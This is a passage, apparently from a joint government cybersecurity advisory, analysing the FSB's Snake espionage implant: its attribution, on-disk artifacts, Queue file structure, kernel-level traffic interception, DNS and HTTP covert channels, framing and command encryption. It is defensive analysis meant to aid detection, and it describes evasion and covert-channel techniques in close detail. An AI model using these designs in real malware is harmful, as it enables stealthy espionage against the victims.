We have identified Snake infrastructure in over 50 countries across North America, South America, Europe, Africa, Asia, and Australia, to include the United States and Russia itself. Although Snake uses infrastructure across all industries, its targeting is purposeful and tactical in nature. Globally, the FSB has used Snake to collect sensitive intelligence from high-priority targets, such as government networks, research facilities, and journalists. As one example, FSB actors used Snake to access and exfiltrate sensitive international relations documents, as well as other diplomatic communications, from a victim in a North Atlantic Treaty Organization (NATO) country. Within the United States, the FSB has victimized industries including education, small businesses, and media organizations, as well as critical infrastructure sectors including government facilities, financial services, critical manufacturing, and communications.

This Cybersecurity Advisory (CSA) provides background on Snake’s attribution to the FSB and detailed technical descriptions of the implant’s host architecture and network communications. This CSA also addresses a recent Snake variant that has not yet been widely disclosed. The technical information and mitigation recommendations in this CSA are provided to assist network defenders in detecting Snake and associated activity. For more information on FSB and Russian state-sponsored cyber activity, please see the joint advisory Russian State-Sponsored and Criminal Cyber Threats to Critical Infrastructure and CISA’s Russia Cyber Threat Overview and Advisories webpage.

Download the PDF version of this report: 

INTRODUCTION

What is Snake?

We consider Snake to be the most sophisticated cyber espionage tool in the FSB’s arsenal. The sophistication of Snake stems from three principal areas. First, Snake employs means to achieve a rare level of stealth in its host components and network communications. Second, Snake’s internal technical architecture allows for easy incorporation of new or replacement components. This design also facilitates the development and interoperability of Snake instances running on different host operating systems. We have observed interoperable Snake implants for Windows, MacOS, and Linux operating systems. Lastly, Snake demonstrates careful software engineering design and implementation, with the implant containing surprisingly few bugs given its complexity.

Following open source reporting by cybersecurity and threat intelligence companies on Snake tactics, techniques, and procedures (TTPs), the FSB implemented new techniques to evade detection. The modifications to the implant enhanced challenges in identifying and collecting Snake and related artifacts, directly hampering detection from both host- and network-based defensive tools.

The effectiveness of this type of cyber espionage implant depends entirely on its long-term stealth, since the objective of an extended espionage operation involves remaining on the target for months or years to provide consistent access to important intelligence. The uniquely sophisticated aspects of Snake represent significant effort by the FSB over many years to enable this type of covert access.

Background

The FSB began developing Snake as “Uroburos” in late 2003. Development of the initial versions of the implant appeared to be completed around early 2004, with cyber operations first conducted using the implant shortly thereafter. The name Uroburos is appropriate, as the FSB cycled it through nearly constant stages of upgrade and redevelopment, even after public disclosures, instead of abandoning it. The name appears throughout early versions of the code, and the FSB developers also left other unique strings, including “Ur0bUr()sGoTyOu#”, which have publicly come back to haunt them.

Unique features in early versions of Uroburos included a low resolution image of a portion of a historical illustration of an uroboros by the German philosopher and theologian Jakob Böhme. One approach to a tertiary backdoor used this image as the key. The same image had also been embedded in other Snake-related components. The image, blown up to a higher resolution, is shown below.

In addition, early FSB developers of the Snake implant left portions of unique code throughout the implant which reveal inside jokes, personal interests, and taunts directed at security researchers. For instance, the “Ur0bUr()sGoTyOu#” string referenced above was replaced with “gLASs D1cK” in 2014 following some of the public cybersecurity reporting.

Attribution

We attribute Snake operations to a known unit within Center 16 of the FSB.  This unit more broadly operates the numerous elements of the Turla  toolset, and has subunits spread throughout Russia in a reflection of historical KGB signals intelligence operations in the Soviet Union. Snake has been a core component of this unit’s operations for almost as long as Center 16 has been part of the FSB.  The extensive influence of Snake across the Turla toolset demonstrates its impact on practically every aspect of the unit’s modern era of cyber operations.

Daily operations using Snake have been carried out from an FSB facility in Ryazan, Russia, with an increase in Snake activity during FSB working hours in Ryazan, approximately 7:00 AM to 8:00 PM, Moscow Standard Time (GMT+3). The main developers were Ryazan-based FSB officers known by monikers included in the code of some versions of Snake. In addition to developing Snake, Ryazan-based FSB officers used it to conduct worldwide operations; these operations were different from others launched from Moscow or other FSB sites based on infrastructure and techniques.

While the development and re-tooling of Snake has historically been done by Ryazan-based FSB officers, Snake operations were also launched from an FSB Center 16-occupied building in Moscow. Our investigations have identified examples of FSB operators using Snake to its full potential, as well as FSB operators who appeared to be unfamiliar with Snake’s more advanced capabilities. These observations serve to illustrate the difficulty in using such an advanced toolset across the various geographically dispersed teams comprising this unit within FSB Center 16.

We have been collectively investigating Snake and Snake-related tools for almost 20 years, as well as other operations by this unit since the 1990s. During that time, the FSB has used Snake in many different operations, and they have demonstrated the value placed in this tool by making numerous adjustments and revisions to keep it viable after repeated public disclosures and other mitigations. Snake’s code and multiple Snake-related tools have been either a starting point or a key influence factor for a diverse range of other highly prolific implants and operational tools in the Turla family. Most notably, this has included Carbon (aka Cobra)—derived from Snake’s code base—and the similarly Snake-adjacent implant Chinch (currently known in open sources as ComRAT).

Victimization

We have identified Snake infrastructure in over 50 countries across North America, South America, Europe, Africa, Asia, and Australia, to include the United States and Russia itself. Although Snake leverages infrastructure across all industries, its targeting is purposeful and tactical in nature. For instance, if an infected system did not respond to Snake communications, the FSB actors would strategically re-infect it within days. Globally, the FSB has used Snake to collect sensitive intelligence from high priority targets, such as government networks, research facilities, and journalists. As one example, FSB actors used Snake to access and exfiltrate sensitive international relations documents, as well as other diplomatic communications, from a victim in a NATO country. Within the United States, the FSB has victimized industries including education, small businesses, and media organizations, as well as critical infrastructure sectors including government facilities, financial services, critical manufacturing, and communications.

Other Tools and TTPs Employed with Snake

The FSB typically deploys Snake to external-facing infrastructure nodes on a network, and from there uses other tools and TTPs on the internal network to conduct additional exploitation operations. Upon gaining and cementing ingress into a target network, the FSB typically enumerates the network and works to obtain administrator credentials and access domain controllers. A wide array of mechanisms has been employed to gather user and administrator credentials in order to expand laterally across the network, to include keyloggers, network sniffers, and open source tools. 

Typically, after FSB operators map out a network and obtain administrator credentials for various domains in the network, regular collection operations begin. In most instances with Snake, further heavyweight implants are not deployed, and they rely on credentials and lightweight remote-access tools internally within a network. FSB operators sometimes deploy a small remote reverse shell along with Snake to enable interactive operations. This triggerable reverse shell, which the FSB has used for around 20 years, can be used as a backup access vector, or to maintain a minimal presence in a network and avoid detection while moving laterally. 

Snake Architecture

Snake’s architectural design reflects professional software engineering practices. Critical pathways within the implant are made of stacks of loosely coupled components that implement well-designed interfaces. In addition to facilitating software development and debugging, this construction allows Snake to use multiple different components for the same purpose, choosing the specific component based on environmental considerations. For example, Snake’s custom network communications protocols function as a stack. All implementations use an encryption layer and a transport layer, such as Snake’s custom HTTP or raw TCP socket protocol. Each layer of the Snake network protocol stack solely implements a specified interface for operability with the two adjacent layers. The encryption layer and underlying transport layer thus function independently, so any custom Snake network protocol can employ an encryption overlay without any change to the encryption layer code. 

This modularity allows Snake operators to choose the most logical network transport for the given environment without affecting Snake’s other functionality. When using a compromised HTTP server as part of the Snake P2P network, the operators can ensure that all traffic to this machine follows the Snake custom HTTP protocol and thereby blends effectively with legitimate traffic. In the context of a compromised machine that legitimately allows secure shell (SSH) connections, Snake can utilize its custom raw TCP socket protocol instead of its custom HTTP protocol. All other layers of the Snake protocol stack, from the immediately adjacent transport encryption layer to the distant command processing layer, can and do remain entirely agnostic to the transport layer as long as it implements its interface correctly. This architecture also allows the Snake developers to easily substitute a new communications protocol when they believe one has been compromised, without necessitating any downstream changes in the code base. Lastly, this design facilitates the development of fully interoperable Snake implants running on different host operating systems.

Snake’s technical sophistication extends from the software architecture into the lower-level software implementation. Original versions of Snake were developed as early as 2003, before many of the modern programming languages and frameworks that facilitate this type of modular development were available. Snake is written entirely in C, which provides significant advantages in low-level control and efficiency, but which does not provide direct support for objects or interfaces at the language level and provides no assistance with memory management. The developers of Snake successfully implemented the implant’s complex design in C with very few bugs, including careful avoidance of the common pitfalls associated with null-terminated strings and the mixing of signed and unsigned integers. Additionally, the developers demonstrate an understanding of computer science principles throughout the implant’s implementation. This includes selecting and correctly coding asymptotically optimal algorithms, designing and utilizing efficient custom encoding methodologies that closely resemble common encoding schemes, and handling the numerous possible errors associated with systems-level programming in a secure manner.

Capitalizing on Mistakes

Although the Snake implant as a whole is a highly sophisticated espionage tool, it does not escape human error. A tool like Snake requires more familiarity and expertise to use correctly, and in several instances Snake operators neglected to use it as designed. Various mistakes in its development and operation provided us with a foothold into the inner workings of Snake and were key factors in the development of capabilities that have allowed for tracking Snake and the manipulation of its data.

The FSB used the OpenSSL library to handle its Diffie-Hellman key exchange. The Diffie-Hellman key-set created by Snake during the key exchange is too short to be secure. The FSB provided the function DH_generate_parameters with a prime length of only 128 bits, which is inadequate for asymmetric key systems. Also, in some instances of what appeared to be rushed deployments of Snake, the operators neglected to strip the Snake binary. This led to the discovery of numerous function names, cleartext strings, and developer comments as seen in the following figure.

SNAKE HOST-BASED TECHNICAL DETAILS

The FSB has quickly adapted Snake when its capabilities have been publicly disclosed by private industry. Snake therefore exists in several variants, as it has evolved over almost 20 years. This CSA focuses on one of the more recent variants of Snake that up until now has not been widely disclosed. Older variants of Snake will be discussed briefly where applicable, but not discussed in depth, as many details of earlier Snake variants already exist in the public domain.

Installer

The Snake installer has gone by various names throughout Snake’s existence (e.g., “jpinst.exe”). This advisory will describe the version of the installer which regularly used the name “jpsetup.exe”. This executable is packed using a customized obfuscation methodology. The developers appear to have added the unpacking functionality from an open source project for viewing JPEG files. This technique serves to obfuscate the unpacking code within an otherwise legitimate code base.  The unpacking code extracts an executable, herein referred to as the “Png Exe”, and it extracts an AES encrypted blob from the Png Exe’s resources, which herein will be referred to as the “Png Resource”. 

The jpsetup.exe installer requires two arguments to be passed via the command line for execution. The first argument is a wide character string hashed with SHA-256 twice, and the resulting value of these computations becomes the AES key that decrypts the Png Resource. The AES initialization vector (IV) consists of the first 16 bytes of the second argument to jpsetup.exe after prepending the argument with a wide character “1” string. Once decrypted, the Png Resource becomes an executable that will be referred to herein as “Stage 2”. 

When unpacked, many components are extracted from Stage 2’s resources. Several of the resources are executables with additional resources of their own. Stage 2 creates structures from its resources, which ultimately become the host artifacts of Snake.

On-Disk Components

As Windows has been the most prevalent operating system targeted by Snake, this document will only discuss the Windows-based artifacts; however, Snake can be cross-compiled and is capable of running on other operating systems.

On-Disk Obfuscation

Snake’s host architecture and network communications allow an unusual level of stealth. Snake makes inventive use of its kernel module in both of these contexts. All known Windows versions of Snake have used a concealed storage mechanism to hide host componentry. In addition to using the kernel module to remove the relevant components from any listing returned by the operating system, Snake utilizes the kernel module to mediate any requests between Snake’s user mode components and the concealed storage mechanism, which itself is encrypted with a unique per-implant key. This unique keying creates detection difficulties even for tools that are independent of the compromised operating system, since simple signatures targeting Snake host components would be ineffective. 

Persistence Mechanism

The Snake version primarily discussed in this advisory registers a service to maintain persistence on a system. Typically, this service is named “WerFaultSvc,” which we assess was used to blend in with the legitimate Windows service WerSvc. On boot, this service will execute Snake’s WerFault.exe, which Snake developers chose to hide among the numerous valid Windows “WerFault.exe” files in the %windows%WinSxS directory. Executing WerFault.exe will start the process of decrypting Snake’s components and loading them into memory. 

Encrypted Registry Key Data

Upon execution, Snake’s WerFault.exe will attempt to decrypt an encrypted blob within the Windows registry that is typically found at HKLM:SOFTWAREClasses.wavOpenWithProgIds. The encrypted data includes the AES key, IV, and path that is used to find and decrypt the file containing Snake’s kernel driver and kernel driver loader. The registry object’s structure can be seen on the right side of the following figure. Snake uses Microsoft Windows Cryptography API: Next Generation (CNG) key store to store the AES key needed to decrypt the registry object.

Kernel Driver and Custom Loader

Snake’s installer drops the kernel driver and a custom DLL which is used to load the driver into a single AES encrypted file on disk. Typically, this file is named “comadmin.dat” and is stored in the %windows%system32Com directory. The structure of this file can be seen on the left side of the figure above. The key, IV, and path to comadmin.dat are stored in the encrypted registry blob. 

The Queue File

The last host-based artifact to discuss is the Queue File. Typically, this file has been found within the %windows%Registration directory with the format of ..crmlog, and is decrypted by Snake’s kernel driver. Due to the complexity and importance of the Queue File, its details are discussed at length in the following subsection. 

The Queue

The Queue is a Snake structure that contains various pieces of information, including key material, communication channels, modes of operation, the principal user mode component, etc., that Snake requires for successful operation. It should be noted that this is a name used by the developers and is not equivalent to a “queue” in the normal context of computer science. The Queue data is saved on disk in the Queue File, which is a flat file with a substructure that includes a 0x2c-byte file header followed by data blocks. Each data block corresponds to exactly one Queue Item, which could be, for example, a simple configuration parameter, a Snake command, or an entire embedded executable. Each Queue Item is associated with a specific Queue Container.

Queue Containers and Items

Each Container is identified by its Type and Instance values. Each Container Type holds the same type of information used by the Snake implant for a specific purpose. The following table shows the various Container Types and their functions. A Queue can have multiple Containers of the same Type, but each of these Containers will have different Instance values.

The data in each Container in the Queue is separated into Queue Items with the 0x40-byte metadata structure shown in the following table. The data content of the Queue Item immediately follows this structure. The Queue Items in each Container are distinguished by their corresponding Item Number as well as their Item Type identifier. The Item Number is assigned by the Snake implant itself, while Snake operators generally refer to the Item Type value when trying to reference a specific item.

Queue File Encryption

In previous versions of Snake, the Queue File existed within an encrypted covert store. The data belonging to the Queue Items themselves were also CAST-128 encrypted. In more recent versions, the covert store was removed, and the Queue File exists by itself on disk. The Queue Items inside the Queue File are still encrypted with CAST-128, and in addition, the full Queue File is also CAST-128 encrypted. The CAST keys used to encrypt the Queue Items within a Container Instance can be found in that Instance’s corresponding 0x2 Container as Item Type 0x229 (see below). The key and IV used to encrypt the Queue File can be found by decoding strings within Snake’s kernel driver.

Container Descriptions

0xb Container

The 0xb Container lists the available modes of operation for a given Snake implant. When using a certain mode, Snake uses a specific set of Containers and communication channels. Each infection can use up to four different modes. Each mode in the 0xb Container will have a Container Instance value that all Containers associated with this mode will use, except for the 0x3 Container. 

0x0 Container

The 0x0 Container handles incoming commands/data for the host of the Snake infection. Commands will be queued in this Container until the implant is ready to execute them.

0x1 Container

The 0x1 Container handles outbound commands/data for the host of the Snake infection. The data will be queued within the 0x1 Container until the implant is ready to exfiltrate them.

0x2 Container

The 0x2 Container holds the configuration information for the mode to which it corresponds. Various pieces of information vital to Snake’s successful operation are stored within these Containers. This subsection will discuss a subset of the parameters that can be found within the 0x2 Container.

Pivotal key information can be found within the 0x2 Containers. This includes the inbound and outbound RSA keys (Items 0x228 and 0x227, respectively), the CAST key (Item 0x229) used to encrypt the individual items within the Queue Container, pre-shared keys used for the top layer of encryption in Snake’s network communication protocol, and a quasi-unique value for the implant, called the “ustart” value, needed for Snake network connectivity.

Snake is constantly passing data between its kernel and user mode components. The methodology (generally, named pipes) used to make these communications is listed in Items 0x65-0x6f of the 0x2 Container. Items 0x70-0x7a list the parameters necessary to establish these communications. 

Items 0xc9-0xd3 contain details of up to ten other Snake infections, referred to as “communication channels”, which the implant can communicate with during Passive Operations. The parameters needed to establish Snake sessions with the other hosts can be found in Items 0xd4-0xde.

Many additional data points, such as the process name where Snake injected itself or the modules Snake has loaded from its 0x3 Container, can be found within 0x2 Containers.

0x3 Container

The 0x3 Container houses embedded files and modules for Snake. A single 0x3 Container will be accessible to all Containers in the Queue. The 0x3 Container has its own dedicated 0x2 Container that only includes a single Queue Item of Item Type 0x229 (a CAST-128 key). This key will be used to encrypt and decrypt all of the embedded files and modules within the 0x3 Container.

The Item Types assigned to the embedded files and modules within the 0x3 Container are consistent across all of the Snake infections within Snake’s P2P network. For example, the 0x01 Item Type is the Zlib library, and therefore any time an Item Type of 0x01 is seen within the 0x3 Container of a Snake infection, that file is always the Zlib library. The implant’s 0x2 Container will keep track of libraries that it has loaded. If the DLL is a file on disk, the full path to the DLL is saved in the 0x2 Container. If the library was loaded from a 0x3 Container, the loaded module will be displayed in the implant’s 0x2 Container in the format “&”. 

0x4 Container

The 0x4 Container logs command activity. Each Queue Item within the Container is a log of a single executed or attempted command. Each mode will have its own corresponding 0x4 Container.

0x5 Container

The 0x5 Container holds Snake network logs, noting any IP address that has connected to this implant. Some versions of Snake no longer make use of this Container.

0x6 Container

The 0x6 Container saves commands that are set to execute at specific times. A Queue Item is created for each scheduled command.

0x7 Container

The 0x7 Container logs the IP addresses of any other Snake implants that have connected to this implant during Passive Operations. The commands 0x79 (Read Agents Track) and 0x7a (Clear Agents Track) are used to interact with this Container. Note that the command 0x7a had been deprecated in some versions of Snake and returns the error “function unsupported” if called.

SNAKE NETWORK COMMUNICATIONS

Snake’s network communications are encrypted, fragmented, and sent using custom methodologies that ride over common network protocols, including both raw TCP and UDP sockets and higher-level protocols like HTTP, SMTP, and DNS. Snake’s protocols for HTTP and TCP are the most commonly seen, but functionality exists for UDP, ICMP, and raw IP traffic. Snake’s network communications are comprised of “sessions”, which are distinct from the sessions associated with the legitimate protocol it is riding on top of (e.g., TCP sessions). The Snake session is then comprised of distinct commands. Both Snake’s custom transport encryption layer (“enc”) and Snake’s Application Layer have their own encryption mechanisms, where the enc layer operates on an individual P2P session and the Snake Application Layer provides end-to-end encryption between the controller (i.e., point of origin) and the command’s ultimate destination. The following figure details Snake’s communication protocol stack. 

Network Obfuscation

Snake’s use of its kernel module also facilitates stealthy network communications. To participate fully in Snake’s P2P network, implanted machines which are not the ultimate target must act as servers for other Snake nodes. Snake’s kernel module, along with a thoughtfully designed mechanism for distinguishing Snake traffic from legitimate client traffic, allows the implant to function as a server in the Snake P2P network without opening any new ports, greatly complicating detection efforts. Additionally, Snake’s custom network communication protocols are designed to blend with traffic that the compromised server normally would receive. This allows Snake operators to use legitimate servers as infrastructure, which reduces the effectiveness of simple IP address or domain blocking without needing to open new ports or send unusual looking traffic to this infrastructure. 

Snake’s Network Authentication Technique (“ustart”)

Snake uses its custom HTTP and raw socket TCP based protocols for large data communications.  With these protocols and others, Snake employs a specific authentication mechanism to distinguish Snake traffic from legitimate traffic destined for application software on the compromised server. This technique enables one of the uniquely sophisticated aspects of Snake, which is its ability to function effectively as server software without opening any further ports on the compromised system. The relevant per-implant authentication value is referred to as the “ustart” and is stored in the implant’s Queue File. There are multiple forms of the ustart value, including “ustart”, “ustart2”, and “ustartl”. 

Rather than open a listening socket on a specified TCP port, the Snake kernel module intercepts the first client-to-server packet following the 3-way handshake in every TCP session. The kernel module then determines whether or not the contents of that packet are in fact valid for the ustart value of that target Snake implant. If so, the Snake kernel module forwards that packet and any future packets in the same TCP session to Snake’s own processing functionality, and the (presumably legitimate) application listening on that port remains unaware of this TCP session. If not, the Snake kernel module allows the packet—and the rest of the TCP session as it occurs—to reach the legitimate listening application, for example web server software. See the following for an illustration. 

All of the ustart versions perform authentication by sending a random nonce along with data that comprises a mathematical operation on the combination of the nonce and the ustart value itself. The receiving machine then extracts the nonce and performs the same computations to authenticate the sending machine. The ustart2 and ustartl versions use the Fowler-Noll-Vo (FNV) hash algorithm to generate the overall authentication value from the nonce and the ustart. This mechanism is slightly different in the custom Snake HTTP protocol versus the custom Snake TCP protocol.

Using the ustart methodology, a node in the Snake P2P network can function as a server without opening any otherwise closed ports and without interfering in the compromised server’s legitimate functionality. Snake will only communicate over TCP ports on which another application is actively listening. This technique makes detecting Snake compromises through network traffic monitoring far more difficult. Inbound traffic to an unexpected TCP port can be detected or blocked using standard firewall or network intrusion detection functionality. Replacing a legitimate service application with a modified executable can lead to detection at either the host or network level. Snake’s technique bypasses both of these mitigations. When combined with the fact that Snake traffic looks similar to expected traffic, especially in the case of Snake’s HTTP based protocols, this renders detecting Snake communications difficult absent detailed knowledge of Snake’s custom protocols.

Snake UDP

Outbound Communications via DNS Query

Snake uses a specialized communications protocol to encode information in seemingly standard DNS queries run via the Windows or POSIX API function gethostbyname, depending on the version. 
Snake outbound DNS requests consist of character strings that are constructed to resemble standard domain names. The actual information being transmitted from the implant is contained in the part of the character string prior to the first ‘.’ character. For illustration purposes, this subsection will outline how an arbitrary string of bytes is manipulated and then encoded to form an outbound Snake DNS request carrying data provided by the implant.

Snake outbound DNS requests originally take the form of byte arrays stored on the stack as the implant progresses through the communications function. The byte array has the following structure.

Only the low-order seven bits of the flags byte are used, and they have the following significance.

After calculating and obfuscating the byte array values shown above, Snake encodes these byte values as de-facto base32 text, using the ten digits 0-9 and the 26 lowercase ASCII letters a-z, with v, w, x, y, and z all corresponding to the same value, as only 32 distinct characters are needed. Snake then inserts ‘-‘ characters at specified locations and sends the DNS request using the gethostbyname function. The resulting encoded string mimics a legitimate DNS request; because characters after the first ‘.’ are not part of the implant’s communications, any arbitrary suffix (e.g., “.com”) can be used. 

Inbound Communications via DNS Query Response

After sending the encoded DNS request, Snake parses the returned information. In a normal DNS request, the returned hostent structure contains a list of IPv4 addresses as 32-bit unsigned integers if the domain resolves to one or more IPv4 addresses. In the Snake DNS protocol, these 32-bit integers represent the covert channel data. The Snake implant sorts the 32-bit integers by the highest order nibble and then interprets the remaining 28 bits of each integer as the actual encoded data. The Snake DNS protocol thus provides a well-concealed, low-bandwidth communications channel.  For larger bandwidth communications, Snake uses its custom HTTP and TCP protocols.

Snake HTTP

The most common custom protocol that Snake uses is its “http” protocol, which rides on top of standard HTTP. It generally looks like normal HTTP communications, including a lot of base64-looking strings, thus blending well with normal network traffic. There have been multiple iterations of Snake’s http protocol, though the differences are only in the encoding; once that is peeled away, the underlying Snake http protocol is the same. For the purposes of this document, Snake’s former version of HTTP will be referred to as “http” and its more recent version as “http2”. 

Snake communications using http2 are contained within seemingly legitimate Application Layer HTTP communications. In the client-to-server direction, the implant data is contained within an HTTP header field of a GET request, unless the data is over a certain size (usually 256 bytes, but configurable). Observed field keys have included: Auth-Data, Cache-Auth, Cookie, and Cockie (note misspelling). This list is not exhaustive; any standard HTTP header field can be used. The communication itself is contained in the legitimate HTTP header field’s value, meaning the content following the ‘:’ character and any whitespace immediately thereafter. In HTTP GET requests, the implant generally uses the default path ‘/’, but this is not required and is configurable. Larger client-to-server Snake http2 requests are contained in the body of an HTTP POST request, and server-to-client communications are contained in the body of the HTTP response.

All client-to-server Snake http and http2 requests begin with the ustart authentication. The specifics vary with each ustart version, but in each case the random nonce and the computed function of the nonce and ustart value are encoded in a manner which closely resembles the rest of the Snake communication. Since Snake http and http2 implant sessions can span multiple TCP sessions, the ustart authentication mechanism is included in every client-to-server communication.

Base62 Encoding

Snake’s http2 protocol uses a custom base62 encoding scheme that has the following differences from base64. Base62 uses 62 semantically significant characters instead of 64. The ratio of encoded-to-decoded characters in base62 is less dense (11:8) than the ratio base64 can achieve (12:9). Also, base62 uses extraneous characters in certain instances that have no semantic significance. 

The base62 characters of semantic significance are the 62 strict alphanumeric characters: [0-9A-Za-z]. The extraneous characters that can be present in a base62 string—but which have no semantic significance—are: ‘/’, ‘;’, ‘=’, and ‘_‘ (underscore). When present, these characters are removed prior to performing the decoding process. A valid base62 string can have up to 11 of these extraneous characters. A regular expression for base62 is included in the Mitigations section of this CSA.

http and http2 Metadata Structure

After the base62 decoding is completed, if necessary, the remaining data begins with an 8-byte metadata structure that provides rudimentary sessionization on top of the stateless HTTP. Snake’s http and http2 client-to-server communications have three de-facto parts, which are concatenated into a single HTTP header value. These parts are: 1) an announce or authentication string, 2) a custom metadata structure, and 3) payload data. The metadata structure consists of the following:

struct http_meta { uint32_t session_number; uint16_t communication_number;
uint8_t flags;
uint8_t checksum;
};

Snake uses the session_number and communication_number fields to provide its own custom sessionization on top of the stateless Application Layer HTTP protocol. The checksum byte serves to validate the integrity of the structure and must equal the sum of the first seven bytes modulo 256.

Snake TCP

Snake has the ability to communicate through POSIX-style TCP sockets. The implant’s custom TCP protocol, which herein will be called “tcp”, uses the reliability features of the underlying TCP protocol.  Thus, in the implant’s custom tcp protocol, the concept of a TCP session and an implant “session” are the same, whereas in the implant’s custom http protocols, one implant session could span multiple Transport Layer TCP sessions. Since the implant’s overall communications protocol is based on the idea of commands and responses, Snake depends on being able to specify the length of any given command and response so the recipient Snake node knows when a particular communication ends. Snake achieves this in the custom tcp protocol by prefacing each communication with its length encoded as a 32-bit big-endian unsigned integer. 

Immediately following the TCP 3-way handshake, the implant completes the ustart authentication for this session. Since Snake tcp sessions are mapped one-to-one with an underlying protocol TCP session, the ustart authentication only occurs once per session, rather than with each client-to-server communication as in Snake http and http2. The Snake tcp ustart mechanism is similar to the Snake http and http2 mechanisms, except that for certain ustart versions, Snake tcp uses a raw binary ustart which is not encoded in printable characters.

After the ustart authentication, the implant will begin sending length-data pairs. These pairs can be sent in the same packet or in two (or theoretically more) separate packets, but the pattern of length-data pairs will be present in each half of the stream (i.e., each direction) for the entirety of the implant communications for the remainder of the TCP session. Specifically, a length-data pair will consist of the length encoded as a big-endian 32-bit unsigned integer followed by data of exactly that length. For example, consider the instance where the implant is sending the following 4 arbitrary bytes: 

89 ab cd ef

The on-wire communication from the implant would send the integer value 4 encoded as a big-endian 32-bit integer, followed by the actual 4 bytes themselves, as shown below. This could be split across two (or theoretically more) packets.

00 00 00 04 89 ab cd ef

The custom tcp protocol (as well as all custom http protocols) have been used in conjunction with the Snake enc protocol. Details of the Snake enc protocol are provided in the following subsection. Due to the manner in which the Snake enc and Snake tcp protocols interact, the first six length-data pairs of each TCP half-stream (following the single client-to-server announce or authentication packet described above) will have known lengths. Specifically, each half-stream will begin with length-data pairs of the following lengths: 0x8, 0x4, 0x10, 0x1, 0x10, 0x10. Note that these are the lengths of the raw data, so each communication will be preceded by a 4-byte big-endian integer specifying the corresponding length. Thus, one of the half-streams could have the following TCP content:

00 00 00 08 12 34 56 78 9a bc de f0
00 00 00 04 89 ab cd ef
00 00 00 10 12 34 56 78 9a bc de f0 12 34 56 78 9a bc de f0
00 00 00 01 12
00 00 00 10 12 34 56 78 9a bc de f0 12 34 56 78 9a bc de f0
00 00 00 10 12 34 56 78 9a bc de f0 12 34 56 78 9a bc de f0

Snake “enc” Layer

As described above, Snake communications are all comprised of “Snake sessions”, irrespective of whichever legitimate protocol Snake is operating on top of. Snake’s top layer of encryption, called the enc layer, utilizes a multi-step process to establish a unique session key. The session key is formed through the combination of a Diffie-Hellman key exchange mixed with a pre-shared key (PSK) known to both parties. This PSK is stored in one of the communication channels, stored within the Queue. 

The overall establishment of the session key requires 12 communication steps, six in each direction, which involve sharing the pseudo-random values used in the Diffie-Hellman exchange process as well as custom aspects of the Snake session key derivation method. The session key is used to encrypt the command headers and (inner) encrypted payloads.

This is the layer in which the critical error of providing a value of 128 bits instead of 128 bytes for the call to DH_generate_parameters within the OpenSSL library occurred. Due to this insufficient key length, breaking the Diffie-Hellman portion of the exchange is possible. Note that in the following figure, the variables ‘p’, ‘g’, ‘a’, and ‘b’ are used in standard descriptions of Diffie-Hellman.

SNAKE APPLICATION LAYER

Snake’s Application Layer is used to process Snake commands. The payload data for a Snake session can contain one or more command exchanges, which include both the incoming data sent to the implant as well as the response returned to the server. Each command is associated with a specific ordinal, and due to Snake’s modular design, operators are able to add new commands to extend Snake’s capabilities by remotely loading a new module.

The Snake implant differentiates between High and Low commands and handles them differently, based on the ordinal number range. The majority of Snake commands are High commands that have an ordinal of 0x64 (100 decimal) or higher. There are far fewer Low commands, and these include the Forwarding command (with ordinal 0x1), and the four Queue commands (with ordinals 0xa, 0xb, 0xc, and 0xd). While Low commands are mostly used for moving data across the network, the High commands give the operator many options for interacting with an infected system. 

Command 0x15-byte Header

All commands begin with a 0x15-byte header, followed by optional command parameter data; only some commands require parameters for successful execution. For example, the command Get, which exfiltrates a file, requires the name of the file to exfiltrate, whereas the command Process List, which returns a process listing, does not require any parameters. 

The most important Command Header field contains the integer ordinal of the command being sent. The Item UID field represents a unique identifier for each individual command instance, and these values increase sequentially. The header has two fields used when a command is set to run at a specified date and time; these commands will be written to the 0x6 Container.

Some Low commands have another header before the payload data, which will be detailed below. All other commands have only the Command Header followed by the encrypted parameter data.

Command Encryption

Underneath Snake http2 or tcp encryption at the session layer, each command exchange is further encrypted. In older versions of Snake, the exchanges were CAST-128 encrypted using a different key for incoming and outgoing data. These keys were saved in the 0x2 Container in the 0x227 and 0x228 Items. The incoming payload data, if parameter data was present, could be decrypted with the 0x227 CAST key. Any response data was encrypted with the 0x228 CAST key. 

In recent versions, the 0x227 and 0x228 Items hold two RSA-4096 public keys. For each side of an exchange, a new 16-byte CAST key is created with Microsoft’s CryptoAPI CryptGenRandom function to obtain 16 random bytes. This key is used to CAST-128 encrypt the parameter or response data.

For an incoming command, the CAST key is signed (not encrypted) by the private key corresponding to the public key on the node to create a 512-byte RSA data blob. The incoming payload has the RSA blob, followed by the optional parameter data, which is CAST-128 encrypted. Snake uses the 0x227 RSA public key to decrypt the RSA blob, recover the CAST key, then decrypt the parameter data.

For an outgoing command, a new CAST key is obtained from CryptGenRandom, and any response data is CAST-128 encrypted. The key is then encrypted using the 0x228 public key to create a 512-byte data blob. The response payload data contains the 512-byte RSA blob, followed by the encrypted response data, when present.

Command Decoding

The implant will expect data in a specific format for each command ordinal. Parameter and response data contain several possible underlying data types, including wide-character plaintext strings, numeric values, data tables, files, or a combination of multiple types. 

The parameter data buffer itself will be formatted in a specific way, depending on the command ordinal. Some commands have required parameters, as well as optional parameters. Commands with optional parameters will include a metadata header with the data length and data type (e.g., bool, integer, text, or data buffer) before the optional parameter’s data. Other commands will expect the parameters to be formatted with length-data pairs, consisting of the parameter data length encoded as a four-byte big-endian integer followed by data of exactly that length. Still other commands have a custom header or will expect no length or metadata and will simply send the parameter data alone.

The response data will similarly be formatted by the implant in a specific way according to the command ordinal. The response data typically does not have a length or metadata preceding it, with the exception of the data tables. Examples of commands that return a table are the Process List command and the List Dir command.

Response data that includes a table will start with a table description header that indicates the number of columns and rows in the table. In addition, the header will include a Column Descriptor structure to indicate the type of data that column will contain, for example a string, uint32 or uint64, timestamp in epoch format, or the contents of a whole file (included as a table entry).

After the table description header, each field is added to the data payload buffer one at a time in a length-data pair. The fields across the first row are added in order, then the fields across the second row are added immediately after the first row with no metadata or separation, and so on. To parse this table, the server will account for the number of columns to determine where the next row starts.

High Commands

High commands are those with an ordinal of 0x64 (decimal 100) or higher. High commands give the operator many options for interacting with an infected system, as well as implant components. This subsection will describe some examples of the many High commands that can exist in the implant.

Some of the most basic High commands will gather information about the machine and return the results. For example, the FSB operators can use the PS command (0x65) to return a list of running processes, the List Dir command (0x840) to list the contents of a directory, or the Syst command (0x6b) to gather basic system information.

